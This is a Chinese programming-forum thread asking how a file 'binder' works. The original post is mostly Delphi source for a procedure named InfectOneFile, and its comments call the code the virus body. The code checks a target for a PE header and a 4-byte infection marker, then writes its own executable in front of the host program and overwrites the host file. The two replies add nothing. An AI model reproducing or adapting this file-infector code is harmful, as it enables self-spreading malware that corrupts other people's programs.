首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 操作系统 > windows >

捆绑机的基本原理(多谢回答!)

2012-01-28 
捆绑机的基本原理(谢谢回答!!)两个文件流,然后写入内存流,保存文件有如下代码,是他的基本原理吧Delphi(Pas

捆绑机的基本原理(谢谢回答!!)
两个文件流,然后写入内存流,保存文件
有如下代码,是他的基本原理吧

Delphi(Pascal) code
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;               dStartPos: Integer; Count: Integer);var   sCurPos, dCurPos: Integer;begin   sCurPos := Src.Position;   dCurPos := Dst.Position;   Src.Seek(sStartPos, 0);   Dst.Seek(dStartPos, 0);   Dst.CopyFrom(Src, Count);   Src.Seek(sCurPos, 0);   Dst.Seek(dCurPos, 0);end;procedure InfectOneFile(FileName: string);var   SelfStream, SrcStream: TFileStream; //两个文件流一个存放自己,一个存放宿主程序   DstStream: TMemoryStream;//将自己和宿主程序合并后存入这个流   iID: LongInt;//取得程序的最后4个字节的数据与感染标记比对   Infected, IsPE: Boolean;//判断是否已被感染和是否为PE文件格式   i: Integer;   Buf: array[0..1] of Char;   begin    try    Infected := False;    IsPE      := False;//创建宿主程序到SrcStream    SrcStream := TFileStream.Create(FileName, fmOpenRead);     try      for i := 0 to $108 do //检查PE文件头PE头偏移量一般小于$108(十六进制)      begin        SrcStream.Seek(i, soFromBeginning);//将流指向文件开始        SrcStream.Read(Buf, 2);//每两个字节读取到buf        //#80#69就是字母PE,PE头以PE字母开头        if (Buf[0] = #80) and (Buf[1] = #69) then        begin         IsPE := True; //是PE文件         Break;        end;      end;      SrcStream.Seek(-4, soFromEnd); //将流指向文件最后面的倒数第4个字节      SrcStream.Read(iID, 4);//把这4个字节读出来判断是不是$44444444即感染标记      if (iID = ID) or (SrcStream.Size > 1024000) then //大于10M的文件不感染       Infected := True;     finally        SrcStream.Free;     end;     if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出       Exit;     DstStream := TMemoryStream.Create;     try          //将本程序写入SelfStream流          SelfStream := TFileStream.Create(ParamStr(0), fmOpenRead);          try           //写入本程序即病毒体到合并流           CopyStream(SelfStream, 0, DstStream, 0, VSize);           //再接着写入宿主程序           CopyStream(SrcStream, 0, DstStream, VSize,             SrcStream.Size);           ////将流指向流的结尾           DstStream.Seek(0, soFromEnd);            iID := $44444444;           DstStream.Write(iID, 4);//写入4个字节的感染标记           finally               SelfStream.Free;           end;         finally           SrcStream.Free;           DstStream.SaveToFile(FileName); //替换宿主文件 ,保存文件           DstStream.Free;         end;         except;         end;end;



[解决办法]
看不懂,还是顶一下啊。
[解决办法]
你这个是什么语言写的?貌似是Delphi?
--reply by CSDN Study V1.0.0.3 (starts_2000)

热点排行